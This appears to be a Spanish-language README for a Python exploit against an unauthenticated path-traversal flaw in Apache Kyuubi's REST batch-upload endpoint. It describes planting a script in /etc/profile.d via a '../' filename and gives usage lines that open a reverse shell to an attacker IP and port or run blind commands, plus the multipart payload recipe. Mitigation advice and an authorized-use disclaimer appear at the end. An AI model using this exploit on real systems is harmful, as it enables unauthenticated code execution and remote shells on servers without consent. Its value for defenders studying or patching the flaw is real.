
Exploit para Apache Kyuubi de path traversal (CVE-2026-52680) que permite escritura arbitraria de archivos sin autenticación y ejecución de código a través de scripts de shell de profile.d.
Escritura arbitraria de archivos sin autenticación en la API REST de Apache Kyuubi a través del endpoint multipart de envío de batch.
POST /api/v1/batches (multipart/form-data) escribe la parte resourceFile en
$KYUUBI_HOME/work/upload/<batchId>/ usando el nombre de archivo suministrado por el cliente sin
comprobación de path-traversal (kyuubi-common Utils.writeToTempFile):
val filePath = Paths.get(dir.toString, s"$prefix-$identifier$suffix") // no normalize()/containment
Files.copy(source, filePath, StandardCopyOption.REPLACE_EXISTING)
Un nombre de archivo con ../ escapa del directorio de subida → escritura de archivos en un directorio
arbitrario (CWE-22) como el usuario del proceso de Kyuubi. Kyuubi incluye kyuubi.authentication=NONE
por defecto, por lo que el endpoint no requiere autenticación.
1.7.0 – 1.11.11.12.0 (añade la contención filePath.normalize().startsWith(dir.normalize()))10099 (frontend REST, sin autenticación cuando authentication=NONE)writeToTempFile inserta -<yyyyMMddHHmmss>-<counter> antes de la extensión, por lo que controlas el
directorio de destino, la extensión y el contenido, pero no el nombre base exacto. Esto
impide sobrescribir con nombres exactos (~/.ssh/authorized_keys, /etc/crontab, ~/.bashrc) — apunta
en su lugar a una ubicación que se ejecute mediante glob.
Este exploit deposita /etc/profile.d/pwn.sh → se guarda como /etc/profile.d/pwn-<ts>-<n>.sh, que
sigue coincidiendo con /etc/profile.d/*.sh y es cargado mediante source (no requiere bit de
ejecución) por cada shell de inicio de sesión. Se ejecuta como el usuario que abra una shell de inicio
de sesión — root si Kyuubi se ejecuta como root y se produce un inicio de sesión de root (p. ej.
ssh root@host, su -, un cron bash -lc).
Solo la biblioteca estándar de Python 3 — sin dependencias.
# reverse shell (start a listener first: nc -lvnp 4444). Fires on the next login shell.
python3 exploit.py http://10.10.10.10:10099/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:10099/ -c 'id > /tmp/pwned'
La subida devuelve HTTP 500 (Error opening batch session) cuando no hay un backend de Spark presente —
es algo esperado e inofensivo: el archivo se escribe antes de que el batch llegue a lanzarse.
Dos partes multipart:
batchRequest (JSON) {"batchType":"SPARK","resource":"x","className":"x","name":"pwn"} — un
BatchRequest mínimo válido para que la validación pase y se alcance el sink de subida.resourceFile, nombre de archivo ../../../../../../etc/profile.d/pwn.sh, cuerpo = el payload. Kyuubi
lo escribe (con el nombre base alterado) en /etc/profile.d/pwn-<ts>-<n>.sh.Una shell de inicio de sesión carga entonces /etc/profile.d/*.sh mediante source y ejecuta el payload.
curl -s http://10.10.10.10:10099/api/v1/ping # Kyuubi REST responds (no auth)
Un frontend REST de Kyuubi en el puerto 10099 con authentication=NONE es explotable.
Actualiza a Apache Kyuubi ≥ 1.12.0, habilita la autenticación (kyuubi.authentication), nunca expongas
la puerta de enlace REST a redes no confiables y no ejecutes Kyuubi como root.
Solo para pruebas de seguridad autorizadas y fines educativos. Úsalo únicamente contra sistemas que poseas o para los que tengas permiso explícito para probar.